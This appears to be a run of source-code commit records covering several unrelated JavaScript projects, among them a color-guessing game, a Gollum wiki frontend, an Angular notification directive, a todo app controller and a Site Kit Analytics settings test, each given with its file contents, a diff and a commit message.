e.keyCode === val } function preventIfTrue(e, val) { if(val) e.preventDefault() return val } function sanitizeContent(answerElement) { const $answerElement = $(answerElement) const $mathEditor = $answerElement.find('[data-js="mathEditor"]') $mathEditor.hide() const text = $answerElement.text() $mathEditor.show() const html = sanitize($answerElement.html()) return { answerHTML: html, answerText: text } } function setCursorAfter($img) { const range = document.createRange() const img = $img.get(0) const nextSibling = img.nextSibling && img.nextSibling.tagName === 'BR' ? img.nextSibling : img range.setStart(nextSibling, 0) range.setEnd(nextSibling, 0) const sel = window.getSelection() sel.removeAllRanges() sel.addRange(range) } function markAndGetInlineImages($editor) { const images = $editor.find('img[src^="data"]').toArray() .map((el, index) => Object.assign(decodeBase64Image(el.getAttribute('src')), { $el: $(el) })) images.filter(({type}) => type !== 'image/png').forEach(({$el}) => $el.remove()) const pngImages = images.filter(({type}) => type === 'image/png') pngImages.forEach(({$el}) => $el.attr('src', loadingImg)) return pngImages } function existingScreenshotCount($editor) { const imageCount = $editor.find('img').length const equationCount = $editor.find(equationImageSelector).length return imageCount - equationCount } function checkForImageLimit($editor, imageData, limit) { return Bacon.once(existingScreenshotCount($editor) > limit ? new Bacon.Error() : imageData) } function persistInlineImages($editor, screenshotSaver, screenshotCountLimit, onValueChanged) { setTimeout(() => Bacon.combineAsArray(markAndGetInlineImages($editor) .map(data => checkForImageLimit($editor, data, screenshotCountLimit) .doError(() => onValueChanged(SCREENSHOT_LIMIT_ERROR())) .flatMapLatest(() => Bacon.fromPromise(screenshotSaver(data))) .doAction(screenShotUrl => data.$el.attr('src', screenShotUrl)) .doError(() => data.$el.remove())) ).onValue(k => $editor.trigger('input')), 0) } function totalImageCount($answer, clipboardDataAsHtml) { return existingScreenshotCount($answer) + existingScreenshotCount($(`<div>${clipboardDataAsHtml}</div>`)) }
JavaScript
0.000001
@@ -2020,14 +2020,24 @@ ent. -text() +get(0).innerText %0A
00adc59ba957979755264ef6c96af87104ff402b
Update joshuaSprite.js
javascript/joshuaSprite.js
javascript/joshuaSprite.js
/* Up : 38 Down : 40 Right : 39 Left : 37 Enter : 13 SpaceBar : 32 Shift : 16 */ var walking; $(document).keydown(function(e) { //var element = $(".joshua"); if(e.keyCode == 32) { //alert("hi"); $(".joshua").css("width", "80px"); $(".joshua").css("background-image", "url(../image/joshua-sprite-walk.png)"; $(".joshua").css("-webkit-animation-name", "joshua-sprite-walk"); } }); $(document).keyup(function(e) { if(e.keyCode == 32) { $(".joshua").css("width", "88px"); $(".joshua").css("-webkit-animation-name", "joshua-sprite-idle"); } });
JavaScript
0
@@ -308,16 +308,17 @@ lk.png)%22 +) ;%0A%09%09$(%22.
78d7477f0462d6ff6bc4582c464b4b2a9e072efb
Fix miscellaneous linting errors.
colorgame.js
colorgame.js
var closeColorRange = 60, colorRange = "Full", colors, MAX_RGB = 255, messageDisplay = document.querySelector("#message"), modeButtons = document.querySelectorAll(".modeButton"), modeElement = document.querySelector(".mode"), numOfGuesses = 6, possibleGuesses = document.querySelectorAll(".colorGuess"), rangeButtons = document.querySelectorAll(".rangeButton"), resetButton = document.getElementById("reset"), winningColor; function getBackgroundColor() { var backgroundColor, element, style; element = document.querySelector("body"); style = window.getComputedStyle(element, null); backgroundColor = style.getPropertyValue("background-color"); return backgroundColor; } function changeAllColors(color) { for (var i = 0; i < possibleGuesses.length; i += 1) { possibleGuesses[i].style.background = color; } } function setGuess() { if (this.style.background === winningColor) { messageDisplay.textContent = "Correct!"; resetButton.textContent = "Play again"; changeAllColors(winningColor); document.querySelector("h1").style.background = winningColor; } else { messageDisplay.textContent = "Try Again"; this.style.background = getBackgroundColor(); } } function setModeOptions(totalGuesses, difficulty, width) { numOfGuesses = totalGuesses; modeElement.innerHTML = difficulty + " <div class=\"arrow-down\"></div>"; document.querySelector("#container").style.maxWidth = width; } function selectModeOptions(str) { if (str === "Easy") { numOfGuesses = 3; setModeOptions(numOfGuesses, "Easy", "600px"); } else if (str === "Hard") { numOfGuesses = 6; setModeOptions(numOfGuesses, "Hard", "600px"); } else { numOfGuesses = 16; setModeOptions(numOfGuesses, "Hardest", "800px"); } } function randomColor() { var blue = Math.floor(Math.random() * MAX_RGB), green = Math.floor(Math.random() * MAX_RGB), red = Math.floor(Math.random() * MAX_RGB); return "rgb(" + red + ", " + green + ", " + blue + ")"; } function closeRandomColor(str) { var i, rgb = str.match(/\d+/g), variance; for (i = 0; i < rgb.length; i += 1) { rgb[i] = Number(rgb[i]); if (Math.round(Math.random()) === 0) { variance = Math.floor(Math.random() * closeColorRange); } else { variance = -Math.floor(Math.random() * closeColorRange); } if (rgb[i] + variance > MAX_RGB || rgb[i] + variance < 0) { rgb[i] = rgb[i] - variance; } else { rgb[i] = rgb[i] + variance; } } return "rgb(" + rgb[0] + ", " + rgb[1] + ", " + rgb[2] + ")"; } //Using Durstenfeld shuffle algorithm. function shuffleColors(arr) { var i, swap, temp; for (i = arr.length - 1; i > 0; i -= 1) { swap = Math.floor(Math.random() * (i + 1)); temp = arr[i]; arr[i] = arr[swap]; arr[swap] = temp; } return arr; } function generateRandomColors(num) { var arr = [], i; arr.push(randomColor()); for (i = 1; i < num; i += 1) { if (colorRange === "Full") { arr.push(randomColor()); } else { arr.push(closeRandomColor(arr[i - 1])); } } arr = shuffleColors(arr); return arr; } function setColors(num) { colors = generateRandomColors(num); winningColor = colors[Math.floor(Math.random() * colors.length)]; document.getElementById("colorToGuess").textContent = winningColor; for (var i = 0; i < possibleGuesses.length; i += 1) { if (colors[i]) { possibleGuesses[i].style.display = "block"; possibleGuesses[i].style.background = colors[i]; } else { possibleGuesses[i].style.display = "none"; } } } function resetText() { resetButton.textContent = "New Colors"; messageDisplay.textContent = ""; document.querySelector("h1").style.background = "steelblue"; setColors(numOfGuesses); } function changeMode() { modeElement.innerHTML = this.textContent + " <span class=\"caret\">"; selectModeOptions(this.textContent); resetText(); } function changeRange() { var rangeText; if (this.textContent === "Full") { rangeText = "Full Colors <div class=\"arrow-down\"></div>"; } else { rangeText = "Close Colors <div class=\"arrow-down\"></div>"; } document.querySelector(".range").innerHTML = rangeText; colorRange = this.textContent; resetText(); } function init() { var i; for (i = 0; i < possibleGuesses.length; i += 1) { possibleGuesses[i].addEventListener("click", setGuess); } for (i = 0; i < modeButtons.length; i += 1) { modeButtons[i].addEventListener("click", changeMode); } for (i = 0; i < rangeButtons.length; i += 1) { rangeButtons[i].addEventListener("click", changeRange); } resetButton.addEventListener("click", function() { messageDisplay.textContent = ""; this.textContent = "New Colors"; document.querySelector("h1").style.background = "steelblue"; setColors(numOfGuesses); }); setColors(numOfGuesses); } init();
JavaScript
0.000047
@@ -778,24 +778,36 @@ rs(color) %7B%0A + var i;%0A%0A for (var @@ -795,36 +795,32 @@ ar i;%0A%0A for ( -var i = 0; i %3C possi @@ -2095,16 +2095,17 @@ X_RGB);%0A +%0A retu @@ -2633,18 +2633,10 @@ %5Bi%5D -= rgb%5Bi%5D - += var @@ -2682,18 +2682,10 @@ %5Bi%5D -= rgb%5Bi%5D + += var @@ -2703,24 +2703,25 @@ %7D%0A %7D%0A +%0A return %22 @@ -2865,24 +2865,25 @@ swap, temp;%0A +%0A for (i = @@ -3047,24 +3047,25 @@ temp;%0A %7D%0A +%0A return a @@ -3125,20 +3125,29 @@ rr = %5B%5D, +%0A i;%0A +%0A arr. @@ -5072,16 +5072,22 @@ function + reset () %7B%0A
a2005517f337c0f9d619bd5d3a7570570ba8d07f
fix doc error
src/commons/appUtils.js
src/commons/appUtils.js
exports.checkUser = async function checkUser(app) { let uid; if (app.auth.isAuthenticated()) { app.authenticated = true; // Logout element is reliant upon a local var; try { uid = app.auth.getTokenPayload().sub; } catch (e) { app.logout(); return Promise.resolve('bad token'); } app.user = await app.appState.getUser(uid); if (app.user !== undefined) app.role = app.user.userType; } return Promise.resolve(true); }; exports.checkIfLoggedIn = function checkIfLoggedIn(app) { const token = localStorage.getItem('aurelia_id_token'); if (token !== null && token !== undefined) { try { app.auth.getTokenPayload(); app.auth.setToken(token); app.authenticated = true; app.router.navigate('dashboard'); return true; } catch (e) { app.logout(); return false; } } return false; }; exports.returnIsWide = function returnIsWide(app, isWide, drawer, mobileMenuToggle) { const swipeArea = document.getElementsByClassName('swipe-area')[0]; if (isWide) { if (drawer !== null && drawer !== undefined) { if (app.contentWidth === '0px') { app.contentWidth = '182px'; } drawer.style.display = 'block'; swipeArea.style.display = 'none'; $(drawer).parent().css('display', 'block'); mobileMenuToggle.style.display = 'none'; } } else { app.contentWidth = '0px'; } const mainP = doc.getElementsByClassName('main-panel')[0]; if (mainP !== null && mainP !== undefined) { mainP.style.marginRight = app.contentWidth; } return isWide; }; exports.handleScreenSize = function checkIfWidescreen(app, isWide) { // const isWide = document.documentElement.clientWidth > 766; const drawer = document.getElementsByClassName('drawer')[0]; const mobileMenuToggle = document.getElementsByClassName('mobile-menu-toggle')[0]; const swipeArea = document.getElementsByClassName('swipe-area')[0]; if (!app.menuToggled && !isWide) { /* istanbul ignore else */ if (drawer !== null && drawer !== undefined) { drawer.style.display = 'none'; $(drawer).parent().css('display', 'none'); mobileMenuToggle.style.display = 'block'; swipeArea.style.display = 'block'; } } return this.returnIsWide(app, isWide, drawer, mobileMenuToggle); }; exports.clickFunc = function (event) { const drawer = document.getElementsByClassName('drawer')[0]; const toggleIcon = document.getElementsByClassName('mobile-menu-toggle')[0]; /* istanbul ignore else */ if (event.target.className !== 'menu-item') { document.getElementsByClassName('swipe-area')[0].style.display = 'none'; drawer.style.display = 'none'; $(drawer).parent().css('display', 'none'); toggleIcon.style.display = 'block'; document.getElementsByClassName('page-host')[0].style.overflow = 'auto'; } };
JavaScript
0.000001
@@ -1410,16 +1410,21 @@ nP = doc +ument .getElem
18b648a7b0fe8c222c5dcd322b6f1c5c1d86a680
Add Search placeholder
lib/gollum/frontend/public/javascript/gollum.js
lib/gollum/frontend/public/javascript/gollum.js
// ua $(document).ready(function() { // ua detection if ($.browser.mozilla) { $('body').addClass('ff'); } else if ($.browser.webkit) { $('body').addClass('webkit'); } else if ($.browser.msie) { $('body').addClass('ie'); if ($.browser.version == "7.0") { $('body').addClass('ie7'); } else if ($.browser.version == "8.0") { $('body').addClass('ie8'); } } // no widows in wiki body if ($('#wiki-wrapper').hasClass('page')) { $('#template h1, #template h2, #template h3, #template h4, #template h5, #template h6, #template li, #template p').each( function(){ $(this).html($(this).html().replace(/\s([^\s<]+)\s*$/,'&nbsp;$1')); } ); } if ($('#wiki-wrapper').hasClass('history')) { $('#wiki-history td.checkbox input').click(highlightChecked); $('#wiki-history td.revert-action a').mouseenter(highlightOn); $('#wiki-history td.revert-action a').mouseleave(highlightOff); } if ($('td.revert-action a').length) { $('td.revert-action a').click(function(e) { e.preventDefault(); var commitSha = $(this).attr('rel'); var truncatedSha = commitSha.toString().substr(0, 7) + "&hellip;"; // revert action $.GollumDialog.init({ title: 'Revert to ' + truncatedSha + '?', body: 'Are you sure you wish to revert to revision <code>' + truncatedSha + '</code>' + ' ? This will overwrite any previous changes.', OK: function() { // TODO add async endpoint to revert here } }); }); } if ($('#searchbar a#search-submit').length) { $('#searchbar a#search-submit').click(function(e) { e.preventDefault(); $('#searchbar #search-form')[0].submit(); }); } }); var nodeSelector = { node1: null, node2: null, selectNodeRange: function( n1, n2 ) { if ( nodeSelector.node1 && nodeSelector.node2 ) { $('#wiki-history td.selected').removeClass('selected'); nodeSelector.node1.addClass('selected'); nodeSelector.node2.addClass('selected'); // swap the nodes around if they went in reverse if ( nodeSelector.nodeComesAfter( nodeSelector.node1, nodeSelector.node2 ) ) { var n = nodeSelector.node1; nodeSelector.node1 = nodeSelector.node2; nodeSelector.node2 = n; } var s = true; var $nextNode = nodeSelector.node1.next(); while ( $nextNode ) { $nextNode.addClass('selected'); if ( $nextNode[0] == nodeSelector.node2[0] ) { break; } $nextNode = $nextNode.next(); } } }, nodeComesAfter: function ( n1, n2 ) { var s = false; $(n1).prevAll().each(function() { if ( $(this)[0] == $(n2)[0] ) { s = true; } }); return s; }, checkNode: function( nodeCheckbox ) { var $nodeCheckbox = nodeCheckbox; var $node = $(nodeCheckbox).parent().parent(); // if we're unchecking if ( !$nodeCheckbox.is(':checked') ) { // remove the range, since we're breaking it $('#wiki-history tr.selected').each(function() { if ( $(this).find('td.checkbox input').is(':checked') ) { return; } $(this).removeClass('selected'); }); // no longer track this if ( $node[0] == nodeSelector.node1[0] ) { nodeSelector.node1 = null; if ( nodeSelector.node2 ) { nodeSelector.node1 = nodeSelector.node2; nodeSelector.node2 = null; } } else if ( $node[0] == nodeSelector.node2[0] ) { nodeSelector.node2 = null; } } else { if ( !nodeSelector.node1 ) { nodeSelector.node1 = $node; nodeSelector.node1.addClass('selected'); } else if ( !nodeSelector.node2 ) { // okay, we don't have a node 2 but have a node1 nodeSelector.node2 = $node; nodeSelector.node2.addClass('selected'); nodeSelector.selectNodeRange( nodeSelector.node1, nodeSelector.node2 ); } else { // we have two selected already $nodeCheckbox[0].checked = false; } } } }; function highlightOn() { $(this).parent().parent().animate({ backgroundColor: '#ffffea', duration: 400 }); } function highlightOff() { var color = '#ebf2f6'; if ($(this).parent().parent().hasClass('alt-row')) { color = '#f3f7fa'; } $(this).parent().parent().animate({ backgroundColor: color, duration: 400 }); } function highlightChecked() { nodeSelector.checkNode($(this)); }
JavaScript
0
@@ -1646,24 +1646,84 @@ ).length) %7B%0A + $.GollumPlaceholder.add($('#searchbar #search-query'));%0A $('#sear @@ -1844,24 +1844,180 @@ ();%0A %7D);%0A + $('#searchbar #search-form').submit(function(e) %7B%0A $.GollumPlaceholder.clearAll();%0A $(this).unbind('submit');%0A $(this).submit();%0A %7D);%0A %7D%0A %0A%7D);%0A%0A
8e3fdc1e5c1311428810dc40d2893b4b84536d7a
Update growlNotification directive to support options passed in as object
src/growlNotifications/directives/growlNotification.js
src/growlNotifications/directives/growlNotification.js
angular.module('growlNotifications.directives') .directive('growlNotification', ['growlNotifications', '$sce', '$interpolate', function(growlNotifications, $sce, $interpolate){ return { restrict: 'AE', replace: true, template: '', transclude: true, link: function(scope, iElem, iAttrs, ctrls, transcludeFn){ transcludeFn(function(elem, scope){ var e, html, interpolateFn, safeHtml; // Create temporary wrapper element so we can grab the inner html e = angular.element(document.createElement('div')); e.append(elem); html = e.html(); // Interpolate expressions in current scope interpolateFn = $interpolate(html); html = interpolateFn(scope); // Tell Angular the HTML can be trusted so it can be used in ng-bind-html safeHtml = $sce.trustAsHtml(html); // Add notification growlNotifications.add(safeHtml); }); } }; }]);
JavaScript
0
@@ -171,24 +171,134 @@ erpolate)%7B%0A%0A + var defaults = %7B%0A message: '',%0A type: 'info',%0A ttl: 5000%0A %7D;%0A%0A retu @@ -481,24 +481,124 @@ scludeFn)%7B%0A%0A + var options = angular.extend(%7B%7D, defaults, scope.$eval(iAttrs.growlNotification));%0A%0A @@ -1412,16 +1412,43 @@ safeHtml +, options.type, options.ttl );%0A
29029298fe6d74c4840a631427226e7de5af8d4a
Drop table if exists
script/create-test-tables.js
script/create-test-tables.js
var args = require(__dirname + '/../test/cli'); var pg = require(__dirname + '/../lib'); var people = [ {name: 'Aaron', age: 10}, {name: 'Brian', age: 20}, {name: 'Chris', age: 30}, {name: 'David', age: 40}, {name: 'Elvis', age: 50}, {name: 'Frank', age: 60}, {name: 'Grace', age: 70}, {name: 'Haley', age: 80}, {name: 'Irma', age: 90}, {name: 'Jenny', age: 100}, {name: 'Kevin', age: 110}, {name: 'Larry', age: 120}, {name: 'Michelle', age: 130}, {name: 'Nancy', age: 140}, {name: 'Olivia', age: 150}, {name: 'Peter', age: 160}, {name: 'Quinn', age: 170}, {name: 'Ronda', age: 180}, {name: 'Shelley', age: 190}, {name: 'Tobias', age: 200}, {name: 'Uma', age: 210}, {name: 'Veena', age: 220}, {name: 'Wanda', age: 230}, {name: 'Xavier', age: 240}, {name: 'Yoyo', age: 250}, {name: 'Zanzabar', age: 260} ] var con = new pg.Client({ host: args.host, port: args.port, user: args.user, password: args.password, database: args.database }); con.connect(); if(args.down) { console.log("Dropping table 'person'") var query = con.query("drop table person"); query.on('end', function() { console.log("Dropped!"); con.end(); }); } else { console.log("Creating table 'person'"); con.query("create table person(id serial, name varchar(10), age integer)").on('end', function(){ console.log("Created!"); console.log("Filling it with people"); });; people.map(function(person) { return con.query("insert into person(name, age) values('"+person.name + "', '" + person.age + "')"); }).pop().on('end', function(){ console.log("Inserted 26 people"); con.end(); }); }
JavaScript
0.000002
@@ -1167,24 +1167,34 @@ %22drop table +if exists person%22);%0A
51f81416ce2ae116df2b525d9350332b4cb69492
Fix stylesheet tag
built-in.js
built-in.js
'use strict'; const mahabhuta = require('./index'); exports.mahabhuta = new mahabhuta.MahafuncArray("mahabhuta built-in", {}); class SiteVerification extends mahabhuta.CustomElement { get elementName() { return "site-verification"; } process($element, metadata, dirty) { return new Promise((resolve, reject) => { var ret = ''; var google = $element.attr('google'); if (google) { ret += `<meta name="google-site-verification" content="${google}"/>`; } // TBD site verification for other services resolve(ret); }); } } exports.mahabhuta.addMahafunc(new SiteVerification()); class DNSPrefetch extends mahabhuta.CustomElement { get elementName() { return "dns-prefetch"; } process($element, metadata, dirty) { return new Promise((resolve, reject) => { var control = $element.attr("control"); var dnslist = $element.attr("dnslist"); if (!control && !dnslist) { return reject(new Error("No control and no dnslist parameters")); } if (!dnslist) { return reject(new Error("No dnslist parameters")); } var dns = dnslist.split(','); var ret = ''; if (control) { ret += `<meta http-equiv="x-dns-prefetch-control" content="${control}"/>`; } dns.forEach(item => { ret += `<link rel="dns-prefetch" href="${item}"/>`; }); resolve(ret); }); } } exports.mahabhuta.addMahafunc(new DNSPrefetch()); class XMLSitemap extends mahabhuta.CustomElement { get elementName() { return "xml-sitemap"; } process($element, metadata, dirty) { return new Promise((resolve, reject) => { // http://microformats.org/wiki/rel-sitemap var href = $element.attr("href"); if (!href) href = "/sitemap.xml"; var title = $element.attr("title"); if (!title) title = "Sitemap"; resolve(`<link rel="sitemap" type="application/xml" title="${title}" href="${href}" />`); }); } } exports.mahabhuta.addMahafunc(new XMLSitemap()); class ExternalStylesheet extends mahabhuta.CustomElement { get elementName() { return "external-stylesheet"; } process($element, metadata, dirty) { return new Promise((resolve, reject) => { var href = $element.attr('href'); if (!href) return reject(new Error("No href supplied")); var media = $element.attr('media'); if (media) { resolve(`<link rel="stylesheet" type="application/xml" href="${href}" media="${media}"/>`); } else { resolve(`<link rel="stylesheet" type="application/xml" href="${href}"/>`); } }); } } exports.mahabhuta.addMahafunc(new ExternalStylesheet()); class RSSHeaderMeta extends mahabhuta.Munger { get selector() { return "rss-header-meta"; } process($, $link, metadata, dirty, done) { if ($('html head').get(0)) { return new Promise((resolve, reject) => { var href = $link.attr('href'); if (!href) { return reject(new Error("No href in rss-header-meta tag")); } $('head').append(`<link rel="alternate" type="application/rss+xml" href="${href}"/>`); $link.remove(); resolve(); }); } else return Promise.resolve(); } } exports.mahabhuta.addMahafunc(new RSSHeaderMeta()); module.exports.configuration = {}; // JavaScript script tags // some metadata like rel=canonical // ograph && twitter cards // bootstrap-specific -- responsive embed support // is there a way to implement `partial` here?
JavaScript
0.002424
@@ -2607,39 +2607,32 @@ heet%22 type=%22 -application/xml +text/css %22 href=%22$%7Bhr @@ -2733,31 +2733,24 @@ %22 type=%22 -application/xml +text/css %22 href=%22 @@ -3538,16 +3538,1094 @@ ta());%0A%0A +class Partial extends mahabhuta.CustomElement %7B%0A%09get elementName() %7B return %22partially%22; %7D%0A%09process($element, metadata, dirty) %7B%0A return new Promise((resolve, reject) =%3E %7B%0A%0A dirty();%0A var data = $element.data();%0A %09%09var fname = $element.attr(%22file-name%22);%0A %09%09var txt = $element.html();%0A%0A var d = %7B%7D;%0A for (var mprop in metadata) %7B d%5Bmprop%5D = metadata%5Bmprop%5D; %7D%0A %09%09var data = $element.data();%0A %09%09for (var dprop in data) %7B d%5Bdprop%5D = data%5Bdprop%5D; %7D%0A %09%09d%5B%22partialBody%22%5D = txt;%0A%0A // find the partial%0A // render the partial using the data provided%0A%0A if (module.exports.configuration.renderPartial) %7B%0A return module.exports.configuration.renderPartial(fname, txt, d)%0A .then(html =%3E %7B%0A return %60%3C!-- Gilroy was here --%3E $%7Bhtml%7D%60;%0A %7D);%0A %7D else %7B%0A reject(new Error(%22CONFIGURATION ERROR: Unable to render partial%22));%0A %7D%0A %7D);%0A %7D%0A%7D%0Aexports.mahabhuta.addMahafunc(new Partial());%0A%0A module.e
fc1fe8b094039e26a3c321c202e4a431361e0a62
Correct contenteditable behaviour
src/main/resources/js/tdapp_controller_main.js
src/main/resources/js/tdapp_controller_main.js
/* tdapp_controller_main.js */ var tdapp = require('./tdapp'); tdapp.controller("MainCtrl",function($scope,$timeout,$interval,$http,$cookies,$window,appdata,TDMgr,Backend,Autologin){ // Injections Autologin.setScope($scope); Backend.setScope($scope); // General Done Filter $scope.showdone = false; $scope.showdonetext = "Show Done"; // Go to settings $scope.gosettings = function(){ $window.location = "/#/settings"; } // Show and hide custommenu (animated via jquery) $scope.tmpcustommenu = 0; $scope.showcustommenu = function(){ if($scope.tmpcustommenu==0){ $scope.tmpcustommenu=1; $("#customnavbaricon").attr("src","images/arrow-left-3x.png"); if(navigator.userAgent.match(/(iPod|iPhone|iPad|Android)/)) { $('body').scrollTop(0); $(".custommenu").animate({height:"140px"},500); } else { if($('html').scrollTop()>64){ $('html').animate({scrollTop:0},500,function(){ $(".custommenu").animate({height:"140px"},500); }); } else { $('html').scrollTop(0); $(".custommenu").animate({height:"140px"},500); } } } else { $scope.tmpcustommenu=0; $("#customnavbaricon").attr("src","images/menu-3x.png"); $(".custommenu").animate({height:"0px"},500); } } // Logout $scope.dologout = function(){ $(".todota").css("visibility","hidden"); $(".todotab").css("visibility","hidden"); $cookies.remove(appdata.cookiename); TDMgr.clearTodos(); $window.location = "/#/working"; $timeout(function(){ $window.location = "/#/login"; },1000); $timeout(function(){ $("#liusername").focus(); },1128); } // Keyboard $scope.newtodoKeydown = function(e){ var k = e.keyCode; if(k==13){//ret e.preventDefault(); if($scope.newtodotxt!=""){ var newtodo = {}; newtodo.topic = $scope.newtodotxt; newtodo.done = false; $scope.newtodotxt = ""; Backend.postTodo(newtodo); TDMgr.addTodoObj(newtodo); if($scope.showdone){ $scope.showdone = false; $scope.showdonetext = "Show Done"; } if(newtodo.tag!=undefined){ $scope.filtertag = newtodo.tag; } else { $scope.filtertag = "All"; } $scope.todos = TDMgr.getTodosByTag($scope.filtertag,$scope.showdone); window.scrollTo(0,0); $("#todotxta").focus(); } } else if(k==9){//tab e.preventDefault(); } } $scope.todolineKeydown = function(e,id){ var k = e.keyCode; if(k==13){//ret e.preventDefault(); var currentTodo = $('#todoid'+id); currentTodo.blur(); var obj = TDMgr.getTodoById(id); if(obj!=undefined){ obj.topic = currentTodo.html(); Backend.putTodo(obj); var oldtag = obj.tag; TDMgr.checkForHashtag(obj); if(oldtag!=undefined){ var ttd = TDMgr.getTodosByTag(oldtag); if(ttd.length<=0){ TDMgr.tags.splice(TDMgr.tags.indexOf(oldtag),1); } } $scope.todos = TDMgr.getTodosByTag($scope.filtertag,$scope.showdone); } } } // Todo functions $scope.seltodoline = function(id){ $("#todoid"+id).focus(); } $scope.deltodo = function(obj){ // No animation obj.deleted = true; Backend.delTodo(obj); TDMgr.delTodo(obj); $scope.todos = TDMgr.getTodosByTag($scope.filtertag,$scope.showdone); } $scope.togDone = function(obj){ TDMgr.togPreDone(obj); $timeout(function(){ TDMgr.togDone(obj); // Toggle todo local (within TDMgr) if(obj.done){ // Toggle Todo on the server Backend.doneTodo(obj); } else { Backend.undoneTodo(obj); } $scope.todos = TDMgr.getTodosByTag($scope.filtertag,$scope.showdone); },1000); } // Filter function $scope.togShowdone = function(){ $scope.showdone = !$scope.showdone; if($scope.showdone){ $scope.showdonetext = "Show Open"; } else { $scope.showdonetext = "Show Done"; } $scope.todos=TDMgr.getTodosByTag($scope.filtertag,$scope.showdone); } // Tags $scope.getTodosByTag = TDMgr.getTodosByTag; // Finish Autologin.check(); // do automatic login if cookie/token is available });
JavaScript
0.00004
@@ -2510,16 +2510,116 @@ d'+id);%0A +%09%09%09// Correct contenteditable behaviour%0A%09%09%09currentTodo.html(currentTodo.html().replace('%3Cbr%3E',''));%0A %09%09%09curre
974baa407735a37844fb849810594081815abe3a
Refactor tests for the SettingsEdit component.
assets/js/modules/analytics/components/settings/SettingsEdit.test.js
assets/js/modules/analytics/components/settings/SettingsEdit.test.js
/** * Analytics Settings Edit component tests. * * Site Kit by Google, Copyright 2021 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * Internal dependencies */ import { render, waitFor, createTestRegistry } from '../../../../../../tests/js/test-utils'; import { STORE_NAME } from '../../datastore/constants'; import { CORE_SITE } from '../../../../googlesitekit/datastore/site/constants'; import { CORE_MODULES } from '../../../../googlesitekit/modules/datastore/constants'; import SettingsEdit from './SettingsEdit'; import * as fixtures from '../../datastore/__fixtures__'; describe( 'SettingsEdit', () => { it( 'sets the account ID and property ID of an existing tag when present', async () => { fetchMock.get( /tagmanager\/data\/settings/, { body: {}, status: 200 }, ); fetchMock.getOnce( /^\/google-site-kit\/v1\/modules\/analytics-4\/data\/properties/, { body: [], status: 200 }, ); const registry = createTestRegistry(); const existingTag = {}; const { accounts, properties, profiles } = fixtures.accountsPropertiesProfiles; existingTag.accountID = profiles[ 0 ].accountId; // eslint-disable-line sitekit/acronym-case existingTag.propertyID = profiles[ 0 ].webPropertyId; // eslint-disable-line sitekit/acronym-case const { accountID, propertyID } = existingTag; registry.dispatch( STORE_NAME ).setSettings( {} ); registry.dispatch( CORE_MODULES ).receiveGetModules( [] ); registry.dispatch( STORE_NAME ).receiveGetAccounts( accounts ); registry.dispatch( STORE_NAME ).receiveGetProperties( properties, { accountID } ); registry.dispatch( STORE_NAME ).receiveGetProfiles( profiles, { accountID, propertyID } ); registry.dispatch( STORE_NAME ).receiveGetExistingTag( existingTag.propertyID ); registry.dispatch( STORE_NAME ).receiveGetTagPermission( { accountID: existingTag.accountID, permission: true, }, { propertyID: existingTag.propertyID } ); registry.dispatch( CORE_SITE ).receiveSiteInfo( {} ); await waitFor( () => { render( <SettingsEdit />, { registry } ); } ); expect( registry.select( STORE_NAME ).getAccountID() ).toBe( existingTag.accountID ); expect( registry.select( STORE_NAME ).getPropertyID() ).toBe( existingTag.propertyID ); expect( registry.select( STORE_NAME ).hasErrors() ).toBeFalsy(); } ); } );
JavaScript
0
@@ -843,88 +843,8 @@ s';%0A -import %7B CORE_SITE %7D from '../../../../googlesitekit/datastore/site/constants';%0A impo @@ -1030,42 +1030,220 @@ _';%0A -%0Adescribe( 'SettingsEdit', () =%3E %7B +import %7B provideSiteInfo %7D from '../../../../../../tests/js/utils';%0A%0Adescribe( 'SettingsEdit', () =%3E %7B%0A%09let registry;%0A%0A%09beforeEach( () =%3E %7B%0A%09%09registry = createTestRegistry();%0A%09%09provideSiteInfo( registry );%0A%09%7D );%0A %0A%09it @@ -1345,20 +1345,17 @@ ock.get( -%0A%09%09%09 + /tagmana @@ -1375,20 +1375,17 @@ ttings/, -%0A%09%09%09 + %7B body: @@ -1386,35 +1386,19 @@ body: %7B%7D -, status: 200 %7D,%0A%09%09 + %7D );%0A%09%09fet @@ -1412,20 +1412,17 @@ getOnce( -%0A%09%09%09 + /%5E%5C/goog @@ -1478,20 +1478,17 @@ erties/, -%0A%09%09%09 + %7B body: @@ -1493,97 +1493,14 @@ : %5B%5D -, status: 200 %7D,%0A%09%09);%0A%0A%09%09const registry = createTestRegistry();%0A%09%09const existingTag = %7B%7D; + %7D );%0A %0A%09%09c @@ -1580,16 +1580,22 @@ iles;%0A%09%09 +const existing @@ -1601,48 +1601,18 @@ gTag -.accountID = profiles%5B 0 %5D.accountId; // + = %7B%0A%09%09%09/* esl @@ -1614,37 +1614,32 @@ * eslint-disable --line sitekit/acronym @@ -1647,23 +1647,54 @@ case -%0A%09%09existingTag. + */%0A%09%09%09accountID: profiles%5B 0 %5D.accountId,%0A%09%09%09 prop @@ -1699,18 +1699,17 @@ opertyID - = +: profile @@ -1732,20 +1732,23 @@ tyId -; // +,%0A%09%09%09/* eslint- disa @@ -1747,41 +1747,23 @@ int- -dis +en able --line sitekit/acronym-case + */%0A%09%09%7D;%0A %0A%09%09c @@ -1812,60 +1812,8 @@ ag;%0A -%09%09registry.dispatch( STORE_NAME ).setSettings( %7B%7D ); %0A%09%09r @@ -1869,16 +1869,70 @@ s( %5B%5D ); +%0A%0A%09%09registry.dispatch( STORE_NAME ).setSettings( %7B%7D ); %0A%09%09regis @@ -2160,32 +2160,33 @@ propertyID %7D );%0A +%0A %09%09registry.dispa @@ -2421,64 +2421,8 @@ %7D ); -%0A%09%09registry.dispatch( CORE_SITE ).receiveSiteInfo( %7B%7D ); %0A%0A%09%09
aa3ce1a0b98a6197166facaa1f0670e3b5344a78
Fix success and error callbacks.
job_runner/apps/job_runner/static/job_runner/js/models.new.js
job_runner/apps/job_runner/static/job_runner/js/models.new.js
